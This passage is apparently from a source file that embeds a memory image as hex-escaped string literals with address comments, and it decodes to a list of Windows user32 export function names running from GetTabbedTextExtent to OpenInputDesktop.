\"\\x65\\x6D\\x4D\\x65\\x74\\x72\\x69\\x63\\x73\\x00\\x47\\x65\\x74\\x54\\x61\\x62\"   //emMetrics.GetTab\n/* 7E419F80 */   \"\\x62\\x65\\x64\\x54\\x65\\x78\\x74\\x45\\x78\\x74\\x65\\x6E\\x74\\x41\\x00\\x47\"   //bedTextExtentA.G\n/* 7E419FA0 */   \"\\x65\\x74\\x54\\x61\\x62\\x62\\x65\\x64\\x54\\x65\\x78\\x74\\x45\\x78\\x74\\x65\"   //etTabbedTextExte\n/* 7E419FC0 */   \"\\x6E\\x74\\x57\\x00\\x47\\x65\\x74\\x54\\x61\\x73\\x6B\\x6D\\x61\\x6E\\x57\\x69\"   //ntW.GetTaskmanWi\n/* 7E419FE0 */   \"\\x6E\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x44\\x65\"   //ndow.GetThreadDe\n/* 7E41A000 */   \"\\x73\\x6B\\x74\\x6F\\x70\\x00\\x47\\x65\\x74\\x54\\x69\\x74\\x6C\\x65\\x42\\x61\"   //sktop.GetTitleBa\n/* 7E41A020 */   \"\\x72\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x54\\x6F\\x70\\x57\\x69\\x6E\\x64\"   //rInfo.GetTopWind\n/* 7E41A040 */   \"\\x6F\\x77\\x00\\x47\\x65\\x74\\x55\\x70\\x64\\x61\\x74\\x65\\x52\\x65\\x63\\x74\"   //ow.GetUpdateRect\n/* 7E41A060 */   \"\\x00\\x47\\x65\\x74\\x55\\x70\\x64\\x61\\x74\\x65\\x52\\x67\\x6E\\x00\\x47\\x65\"   //.GetUpdateRgn.Ge\n/* 7E41A080 */   \"\\x74\\x55\\x73\\x65\\x72\\x4F\\x62\\x6A\\x65\\x63\\x74\\x49\\x6E\\x66\\x6F\\x72\"   //tUserObjectInfor\n/* 7E41A0A0 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4F\"   //mationA.GetUserO\n/* 7E41A0C0 */   \"\\x62\\x6A\\x65\\x63\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\"   //bjectInformation\n/* 7E41A0E0 */   \"\\x57\\x00\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\"   //W.GetUserObjectS\n/* 7E41A100 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x53\\x74\"   //ecurity.GetWinSt\n/* 7E41A120 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\"   //ationInfo.GetWin\n/* 7E41A140 */   \"\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x43\\x6F\\x6E\"   //dow.GetWindowCon\n/* 7E41A160 */   \"\\x74\\x65\\x78\\x74\\x48\\x65\\x6C\\x70\\x49\\x64\\x00\\x47\\x65\\x74\\x57\\x69\"   //textHelpId.GetWi\n/* 7E41A180 */   \"\\x6E\\x64\\x6F\\x77\\x44\\x43\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //ndowDC.GetWindow\n/* 7E41A1A0 */   \"\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4C\\x6F\"   //Info.GetWindowLo\n/* 7E41A1C0 */   \"\\x6E\\x67\\x41\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4C\\x6F\\x6E\"   //ngA.GetWindowLon\n/* 7E41A1E0 */   \"\\x67\\x57\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4D\\x6F\\x64\\x75\"   //gW.GetWindowModu\n/* 7E41A200 */   \"\\x6C\\x65\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x00\\x47\\x65\\x74\\x57\\x69\"   //leFileName.GetWi\n/* 7E41A220 */   \"\\x6E\\x64\\x6F\\x77\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x46\\x69\\x6C\\x65\\x4E\\x61\"   //ndowModuleFileNa\n/* 7E41A240 */   \"\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x4D\\x6F\\x64\"   //meA.GetWindowMod\n/* 7E41A260 */   \"\\x75\\x6C\\x65\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\"   //uleFileNameW.Get\n/* 7E41A280 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6C\\x61\\x63\\x65\\x6D\\x65\\x6E\\x74\\x00\"   //WindowPlacement.\n/* 7E41A2A0 */   \"\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x52\\x65\\x63\\x74\\x00\\x47\\x65\"   //GetWindowRect.Ge\n/* 7E41A2C0 */   \"\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x52\\x67\\x6E\\x00\\x47\\x65\\x74\\x57\\x69\"   //tWindowRgn.GetWi\n/* 7E41A2E0 */   \"\\x6E\\x64\\x6F\\x77\\x52\\x67\\x6E\\x42\\x6F\\x78\\x00\\x47\\x65\\x74\\x57\\x69\"   //ndowRgnBox.GetWi\n/* 7E41A300 */   \"\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\\x41\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\"   //ndowTextA.GetWin\n/* 7E41A320 */   \"\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\\x4C\\x65\\x6E\\x67\\x74\\x68\\x41\\x00\\x47\"   //dowTextLengthA.G\n/* 7E41A340 */   \"\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\\x4C\\x65\\x6E\\x67\"   //etWindowTextLeng\n/* 7E41A360 */   \"\\x74\\x68\\x57\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\"   //thW.GetWindowTex\n/* 7E41A380 */   \"\\x74\\x57\\x00\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x68\\x72\\x65\"   //tW.GetWindowThre\n/* 7E41A3A0 */   \"\\x61\\x64\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\\x00\\x47\\x65\\x74\\x57\"   //adProcessId.GetW\n/* 7E41A3C0 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x57\\x6F\\x72\\x64\\x00\\x47\\x72\\x61\\x79\\x53\\x74\"   //indowWord.GraySt\n/* 7E41A3E0 */   \"\\x72\\x69\\x6E\\x67\\x41\\x00\\x47\\x72\\x61\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\"   //ringA.GrayString\n/* 7E41A400 */   \"\\x57\\x00\\x48\\x69\\x64\\x65\\x43\\x61\\x72\\x65\\x74\\x00\\x48\\x69\\x6C\\x69\"   //W.HideCaret.Hili\n/* 7E41A420 */   \"\\x74\\x65\\x4D\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\\x00\\x49\\x4D\\x50\\x47\\x65\"   //teMenuItem.IMPGe\n/* 7E41A440 */   \"\\x74\\x49\\x4D\\x45\\x41\\x00\\x49\\x4D\\x50\\x47\\x65\\x74\\x49\\x4D\\x45\\x57\"   //tIMEA.IMPGetIMEW\n/* 7E41A460 */   \"\\x00\\x49\\x4D\\x50\\x51\\x75\\x65\\x72\\x79\\x49\\x4D\\x45\\x41\\x00\\x49\\x4D\"   //.IMPQueryIMEA.IM\n/* 7E41A480 */   \"\\x50\\x51\\x75\\x65\\x72\\x79\\x49\\x4D\\x45\\x57\\x00\\x49\\x4D\\x50\\x53\\x65\"   //PQueryIMEW.IMPSe\n/* 7E41A4A0 */   \"\\x74\\x49\\x4D\\x45\\x41\\x00\\x49\\x4D\\x50\\x53\\x65\\x74\\x49\\x4D\\x45\\x57\"   //tIMEA.IMPSetIMEW\n/* 7E41A4C0 */   \"\\x00\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x44\\x64\\x65\\x43\"   //.ImpersonateDdeC\n/* 7E41A4E0 */   \"\\x6C\\x69\\x65\\x6E\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x49\\x6E\\x53\\x65\"   //lientWindow.InSe\n/* 7E41A500 */   \"\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x49\\x6E\\x53\\x65\\x6E\\x64\"   //ndMessage.InSend\n/* 7E41A520 */   \"\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x00\\x49\\x6E\\x66\\x6C\\x61\\x74\"   //MessageEx.Inflat\n/* 7E41A540 */   \"\\x65\\x52\\x65\\x63\\x74\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\"   //eRect.Initialize\n/* 7E41A560 */   \"\\x4C\\x70\\x6B\\x48\\x6F\\x6F\\x6B\\x73\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\"   //LpkHooks.Initial\n/* 7E41A580 */   \"\\x69\\x7A\\x65\\x57\\x69\\x6E\\x33\\x32\\x45\\x6E\\x74\\x72\\x79\\x54\\x61\\x62\"   //izeWin32EntryTab\n/* 7E41A5A0 */   \"\\x6C\\x65\\x00\\x49\\x6E\\x73\\x65\\x72\\x74\\x4D\\x65\\x6E\\x75\\x41\\x00\\x49\"   //le.InsertMenuA.I\n/* 7E41A5C0 */   \"\\x6E\\x73\\x65\\x72\\x74\\x4D\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\\x41\\x00\\x49\"   //nsertMenuItemA.I\n/* 7E41A5E0 */   \"\\x6E\\x73\\x65\\x72\\x74\\x4D\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\\x57\\x00\\x49\"   //nsertMenuItemW.I\n/* 7E41A600 */   \"\\x6E\\x73\\x65\\x72\\x74\\x4D\\x65\\x6E\\x75\\x57\\x00\\x49\\x6E\\x74\\x65\\x72\"   //nsertMenuW.Inter\n/* 7E41A620 */   \"\\x6E\\x61\\x6C\\x47\\x65\\x74\\x57\\x69\\x6E\\x64\\x6F\\x77\\x54\\x65\\x78\\x74\"   //nalGetWindowText\n/* 7E41A640 */   \"\\x00\\x49\\x6E\\x74\\x65\\x72\\x73\\x65\\x63\\x74\\x52\\x65\\x63\\x74\\x00\\x49\"   //.IntersectRect.I\n/* 7E41A660 */   \"\\x6E\\x76\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x52\\x65\\x63\\x74\\x00\\x49\\x6E\"   //nvalidateRect.In\n/* 7E41A680 */   \"\\x76\\x61\\x6C\\x69\\x64\\x61\\x74\\x65\\x52\\x67\\x6E\\x00\\x49\\x6E\\x76\\x65\"   //validateRgn.Inve\n/* 7E41A6A0 */   \"\\x72\\x74\\x52\\x65\\x63\\x74\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x41\\x6C\\x70\"   //rtRect.IsCharAlp\n/* 7E41A6C0 */   \"\\x68\\x61\\x41\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x41\\x6C\\x70\\x68\\x61\\x4E\"   //haA.IsCharAlphaN\n/* 7E41A6E0 */   \"\\x75\\x6D\\x65\\x72\\x69\\x63\\x41\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x41\\x6C\"   //umericA.IsCharAl\n/* 7E41A700 */   \"\\x70\\x68\\x61\\x4E\\x75\\x6D\\x65\\x72\\x69\\x63\\x57\\x00\\x49\\x73\\x43\\x68\"   //phaNumericW.IsCh\n/* 7E41A720 */   \"\\x61\\x72\\x41\\x6C\\x70\\x68\\x61\\x57\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x4C\"   //arAlphaW.IsCharL\n/* 7E41A740 */   \"\\x6F\\x77\\x65\\x72\\x41\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x4C\\x6F\\x77\\x65\"   //owerA.IsCharLowe\n/* 7E41A760 */   \"\\x72\\x57\\x00\\x49\\x73\\x43\\x68\\x61\\x72\\x55\\x70\\x70\\x65\\x72\\x41\\x00\"   //rW.IsCharUpperA.\n/* 7E41A780 */   \"\\x49\\x73\\x43\\x68\\x61\\x72\\x55\\x70\\x70\\x65\\x72\\x57\\x00\\x49\\x73\\x43\"   //IsCharUpperW.IsC\n/* 7E41A7A0 */   \"\\x68\\x69\\x6C\\x64\\x00\\x49\\x73\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\"   //hild.IsClipboard\n/* 7E41A7C0 */   \"\\x46\\x6F\\x72\\x6D\\x61\\x74\\x41\\x76\\x61\\x69\\x6C\\x61\\x62\\x6C\\x65\\x00\"   //FormatAvailable.\n/* 7E41A7E0 */   \"\\x49\\x73\\x44\\x69\\x61\\x6C\\x6F\\x67\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\"   //IsDialogMessage.\n/* 7E41A800 */   \"\\x49\\x73\\x44\\x69\\x61\\x6C\\x6F\\x67\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x41\"   //IsDialogMessageA\n/* 7E41A820 */   \"\\x00\\x49\\x73\\x44\\x69\\x61\\x6C\\x6F\\x67\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\"   //.IsDialogMessage\n/* 7E41A840 */   \"\\x57\\x00\\x49\\x73\\x44\\x6C\\x67\\x42\\x75\\x74\\x74\\x6F\\x6E\\x43\\x68\\x65\"   //W.IsDlgButtonChe\n/* 7E41A860 */   \"\\x63\\x6B\\x65\\x64\\x00\\x49\\x73\\x47\\x55\\x49\\x54\\x68\\x72\\x65\\x61\\x64\"   //cked.IsGUIThread\n/* 7E41A880 */   \"\\x00\\x49\\x73\\x48\\x75\\x6E\\x67\\x41\\x70\\x70\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //.IsHungAppWindow\n/* 7E41A8A0 */   \"\\x00\\x49\\x73\\x49\\x63\\x6F\\x6E\\x69\\x63\\x00\\x49\\x73\\x4D\\x65\\x6E\\x75\"   //.IsIconic.IsMenu\n/* 7E41A8C0 */   \"\\x00\\x49\\x73\\x52\\x65\\x63\\x74\\x45\\x6D\\x70\\x74\\x79\\x00\\x49\\x73\\x53\"   //.IsRectEmpty.IsS\n/* 7E41A8E0 */   \"\\x65\\x72\\x76\\x65\\x72\\x53\\x69\\x64\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\"   //erverSideWindow.\n/* 7E41A900 */   \"\\x49\\x73\\x57\\x69\\x6E\\x45\\x76\\x65\\x6E\\x74\\x48\\x6F\\x6F\\x6B\\x49\\x6E\"   //IsWinEventHookIn\n/* 7E41A920 */   \"\\x73\\x74\\x61\\x6C\\x6C\\x65\\x64\\x00\\x49\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //stalled.IsWindow\n/* 7E41A940 */   \"\\x00\\x49\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x45\\x6E\\x61\\x62\\x6C\\x65\\x64\"   //.IsWindowEnabled\n/* 7E41A960 */   \"\\x00\\x49\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x49\\x6E\\x44\\x65\\x73\\x74\\x72\"   //.IsWindowInDestr\n/* 7E41A980 */   \"\\x6F\\x79\\x00\\x49\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x55\\x6E\\x69\\x63\\x6F\"   //oy.IsWindowUnico\n/* 7E41A9A0 */   \"\\x64\\x65\\x00\\x49\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x56\\x69\\x73\\x69\\x62\"   //de.IsWindowVisib\n/* 7E41A9C0 */   \"\\x6C\\x65\\x00\\x49\\x73\\x5A\\x6F\\x6F\\x6D\\x65\\x64\\x00\\x4B\\x69\\x6C\\x6C\"   //le.IsZoomed.Kill\n/* 7E41A9E0 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x72\\x00\\x4B\\x69\\x6C\\x6C\"   //SystemTimer.Kill\n/* 7E41AA00 */   \"\\x54\\x69\\x6D\\x65\\x72\\x00\\x4C\\x6F\\x61\\x64\\x41\\x63\\x63\\x65\\x6C\\x65\"   //Timer.LoadAccele\n/* 7E41AA20 */   \"\\x72\\x61\\x74\\x6F\\x72\\x73\\x41\\x00\\x4C\\x6F\\x61\\x64\\x41\\x63\\x63\\x65\"   //ratorsA.LoadAcce\n/* 7E41AA40 */   \"\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x73\\x57\\x00\\x4C\\x6F\\x61\\x64\\x42\\x69\"   //leratorsW.LoadBi\n/* 7E41AA60 */   \"\\x74\\x6D\\x61\\x70\\x41\\x00\\x4C\\x6F\\x61\\x64\\x42\\x69\\x74\\x6D\\x61\\x70\"   //tmapA.LoadBitmap\n/* 7E41AA80 */   \"\\x57\\x00\\x4C\\x6F\\x61\\x64\\x43\\x75\\x72\\x73\\x6F\\x72\\x41\\x00\\x4C\\x6F\"   //W.LoadCursorA.Lo\n/* 7E41AAA0 */   \"\\x61\\x64\\x43\\x75\\x72\\x73\\x6F\\x72\\x46\\x72\\x6F\\x6D\\x46\\x69\\x6C\\x65\"   //adCursorFromFile\n/* 7E41AAC0 */   \"\\x41\\x00\\x4C\\x6F\\x61\\x64\\x43\\x75\\x72\\x73\\x6F\\x72\\x46\\x72\\x6F\\x6D\"   //A.LoadCursorFrom\n/* 7E41AAE0 */   \"\\x46\\x69\\x6C\\x65\\x57\\x00\\x4C\\x6F\\x61\\x64\\x43\\x75\\x72\\x73\\x6F\\x72\"   //FileW.LoadCursor\n/* 7E41AB00 */   \"\\x57\\x00\\x4C\\x6F\\x61\\x64\\x49\\x63\\x6F\\x6E\\x41\\x00\\x4C\\x6F\\x61\\x64\"   //W.LoadIconA.Load\n/* 7E41AB20 */   \"\\x49\\x63\\x6F\\x6E\\x57\\x00\\x4C\\x6F\\x61\\x64\\x49\\x6D\\x61\\x67\\x65\\x41\"   //IconW.LoadImageA\n/* 7E41AB40 */   \"\\x00\\x4C\\x6F\\x61\\x64\\x49\\x6D\\x61\\x67\\x65\\x57\\x00\\x4C\\x6F\\x61\\x64\"   //.LoadImageW.Load\n/* 7E41AB60 */   \"\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\\x75\\x74\\x41\\x00\"   //KeyboardLayoutA.\n/* 7E41AB80 */   \"\\x4C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\\x79\\x6F\"   //LoadKeyboardLayo\n/* 7E41ABA0 */   \"\\x75\\x74\\x45\\x78\\x00\\x4C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\"   //utEx.LoadKeyboar\n/* 7E41ABC0 */   \"\\x64\\x4C\\x61\\x79\\x6F\\x75\\x74\\x57\\x00\\x4C\\x6F\\x61\\x64\\x4C\\x6F\\x63\"   //dLayoutW.LoadLoc\n/* 7E41ABE0 */   \"\\x61\\x6C\\x46\\x6F\\x6E\\x74\\x73\\x00\\x4C\\x6F\\x61\\x64\\x4D\\x65\\x6E\\x75\"   //alFonts.LoadMenu\n/* 7E41AC00 */   \"\\x41\\x00\\x4C\\x6F\\x61\\x64\\x4D\\x65\\x6E\\x75\\x49\\x6E\\x64\\x69\\x72\\x65\"   //A.LoadMenuIndire\n/* 7E41AC20 */   \"\\x63\\x74\\x41\\x00\\x4C\\x6F\\x61\\x64\\x4D\\x65\\x6E\\x75\\x49\\x6E\\x64\\x69\"   //ctA.LoadMenuIndi\n/* 7E41AC40 */   \"\\x72\\x65\\x63\\x74\\x57\\x00\\x4C\\x6F\\x61\\x64\\x4D\\x65\\x6E\\x75\\x57\\x00\"   //rectW.LoadMenuW.\n/* 7E41AC60 */   \"\\x4C\\x6F\\x61\\x64\\x52\\x65\\x6D\\x6F\\x74\\x65\\x46\\x6F\\x6E\\x74\\x73\\x00\"   //LoadRemoteFonts.\n/* 7E41AC80 */   \"\\x4C\\x6F\\x61\\x64\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x4C\\x6F\\x61\\x64\"   //LoadStringA.Load\n/* 7E41ACA0 */   \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\\x4C\\x6F\\x63\\x6B\\x53\\x65\\x74\\x46\"   //StringW.LockSetF\n/* 7E41ACC0 */   \"\\x6F\\x72\\x65\\x67\\x72\\x6F\\x75\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\"   //oregroundWindow.\n/* 7E41ACE0 */   \"\\x4C\\x6F\\x63\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\"   //LockWindowStatio\n/* 7E41AD00 */   \"\\x6E\\x00\\x4C\\x6F\\x63\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x55\\x70\\x64\\x61\"   //n.LockWindowUpda\n/* 7E41AD20 */   \"\\x74\\x65\\x00\\x4C\\x6F\\x63\\x6B\\x57\\x6F\\x72\\x6B\\x53\\x74\\x61\\x74\\x69\"   //te.LockWorkStati\n/* 7E41AD40 */   \"\\x6F\\x6E\\x00\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x49\\x63\\x6F\\x6E\\x49\\x64\\x46\"   //on.LookupIconIdF\n/* 7E41AD60 */   \"\\x72\\x6F\\x6D\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x00\\x4C\\x6F\\x6F\"   //romDirectory.Loo\n/* 7E41AD80 */   \"\\x6B\\x75\\x70\\x49\\x63\\x6F\\x6E\\x49\\x64\\x46\\x72\\x6F\\x6D\\x44\\x69\\x72\"   //kupIconIdFromDir\n/* 7E41ADA0 */   \"\\x65\\x63\\x74\\x6F\\x72\\x79\\x45\\x78\\x00\\x4D\\x42\\x54\\x6F\\x57\\x43\\x53\"   //ectoryEx.MBToWCS\n/* 7E41ADC0 */   \"\\x45\\x78\\x00\\x4D\\x42\\x5F\\x47\\x65\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\"   //Ex.MB_GetString.\n/* 7E41ADE0 */   \"\\x4D\\x61\\x70\\x44\\x69\\x61\\x6C\\x6F\\x67\\x52\\x65\\x63\\x74\\x00\\x4D\\x61\"   //MapDialogRect.Ma\n/* 7E41AE00 */   \"\\x70\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4B\\x65\\x79\\x41\\x00\\x4D\\x61\\x70\"   //pVirtualKeyA.Map\n/* 7E41AE20 */   \"\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4B\\x65\\x79\\x45\\x78\\x41\\x00\\x4D\\x61\"   //VirtualKeyExA.Ma\n/* 7E41AE40 */   \"\\x70\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4B\\x65\\x79\\x45\\x78\\x57\\x00\\x4D\"   //pVirtualKeyExW.M\n/* 7E41AE60 */   \"\\x61\\x70\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4B\\x65\\x79\\x57\\x00\\x4D\\x61\"   //apVirtualKeyW.Ma\n/* 7E41AE80 */   \"\\x70\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x69\\x6E\\x74\\x73\\x00\\x4D\\x65\"   //pWindowPoints.Me\n/* 7E41AEA0 */   \"\\x6E\\x75\\x49\\x74\\x65\\x6D\\x46\\x72\\x6F\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x00\"   //nuItemFromPoint.\n/* 7E41AEC0 */   \"\\x4D\\x65\\x6E\\x75\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x72\\x6F\\x63\\x41\\x00\"   //MenuWindowProcA.\n/* 7E41AEE0 */   \"\\x4D\\x65\\x6E\\x75\\x57\\x69\\x6E\\x64\\x6F\\x77\\x50\\x72\\x6F\\x63\\x57\\x00\"   //MenuWindowProcW.\n/* 7E41AF00 */   \"\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x65\\x65\\x70\\x00\\x4D\\x65\\x73\\x73\"   //MessageBeep.Mess\n/* 7E41AF20 */   \"\\x61\\x67\\x65\\x42\\x6F\\x78\\x41\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\"   //ageBoxA.MessageB\n/* 7E41AF40 */   \"\\x6F\\x78\\x45\\x78\\x41\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6F\\x78\"   //oxExA.MessageBox\n/* 7E41AF60 */   \"\\x45\\x78\\x57\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6F\\x78\\x49\\x6E\"   //ExW.MessageBoxIn\n/* 7E41AF80 */   \"\\x64\\x69\\x72\\x65\\x63\\x74\\x41\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\"   //directA.MessageB\n/* 7E41AFA0 */   \"\\x6F\\x78\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\\x57\\x00\\x4D\\x65\\x73\\x73\"   //oxIndirectW.Mess\n/* 7E41AFC0 */   \"\\x61\\x67\\x65\\x42\\x6F\\x78\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\\x41\\x00\\x4D\"   //ageBoxTimeoutA.M\n/* 7E41AFE0 */   \"\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6F\\x78\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\"   //essageBoxTimeout\n/* 7E41B000 */   \"\\x57\\x00\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x6F\\x78\\x57\\x00\\x4D\\x6F\"   //W.MessageBoxW.Mo\n/* 7E41B020 */   \"\\x64\\x69\\x66\\x79\\x4D\\x65\\x6E\\x75\\x41\\x00\\x4D\\x6F\\x64\\x69\\x66\\x79\"   //difyMenuA.Modify\n/* 7E41B040 */   \"\\x4D\\x65\\x6E\\x75\\x57\\x00\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x46\\x72\\x6F\"   //MenuW.MonitorFro\n/* 7E41B060 */   \"\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x00\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x46\\x72\"   //mPoint.MonitorFr\n/* 7E41B080 */   \"\\x6F\\x6D\\x52\\x65\\x63\\x74\\x00\\x4D\\x6F\\x6E\\x69\\x74\\x6F\\x72\\x46\\x72\"   //omRect.MonitorFr\n/* 7E41B0A0 */   \"\\x6F\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x4D\\x6F\\x76\\x65\\x57\\x69\\x6E\"   //omWindow.MoveWin\n/* 7E41B0C0 */   \"\\x64\\x6F\\x77\\x00\\x4D\\x73\\x67\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x4D\\x75\"   //dow.MsgWaitForMu\n/* 7E41B0E0 */   \"\\x6C\\x74\\x69\\x70\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\\x00\\x4D\\x73\"   //ltipleObjects.Ms\n/* 7E41B100 */   \"\\x67\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\"   //gWaitForMultiple\n/* 7E41B120 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\\x45\\x78\\x00\\x4E\\x6F\\x74\\x69\\x66\\x79\"   //ObjectsEx.Notify\n/* 7E41B140 */   \"\\x57\\x69\\x6E\\x45\\x76\\x65\\x6E\\x74\\x00\\x4F\\x65\\x6D\\x4B\\x65\\x79\\x53\"   //WinEvent.OemKeyS\n/* 7E41B160 */   \"\\x63\\x61\\x6E\\x00\\x4F\\x65\\x6D\\x54\\x6F\\x43\\x68\\x61\\x72\\x41\\x00\\x4F\"   //can.OemToCharA.O\n/* 7E41B180 */   \"\\x65\\x6D\\x54\\x6F\\x43\\x68\\x61\\x72\\x42\\x75\\x66\\x66\\x41\\x00\\x4F\\x65\"   //emToCharBuffA.Oe\n/* 7E41B1A0 */   \"\\x6D\\x54\\x6F\\x43\\x68\\x61\\x72\\x42\\x75\\x66\\x66\\x57\\x00\\x4F\\x65\\x6D\"   //mToCharBuffW.Oem\n/* 7E41B1C0 */   \"\\x54\\x6F\\x43\\x68\\x61\\x72\\x57\\x00\\x4F\\x66\\x66\\x73\\x65\\x74\\x52\\x65\"   //ToCharW.OffsetRe\n/* 7E41B1E0 */   \"\\x63\\x74\\x00\\x4F\\x70\\x65\\x6E\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\"   //ct.OpenClipboard\n/* 7E41B200 */   \"\\x00\\x4F\\x70\\x65\\x6E\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x41\\x00\\x4F\\x70\"   //.OpenDesktopA.Op\n/* 7E41B220 */   \"\\x65\\x6E\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x57\\x00\\x4F\\x70\\x65\\x6E\\x49\"   //enDesktopW.OpenI\n/* 7E41B240 */   \"\\x63\\x6F\\x6E\\x00\\x4F\\x70\\x65\\x6E\\x49\\x6E\\x70\\x75\\x74\\x44\\x65\\x73\"   //con.OpenInputDes\n/* 7E41B260 */   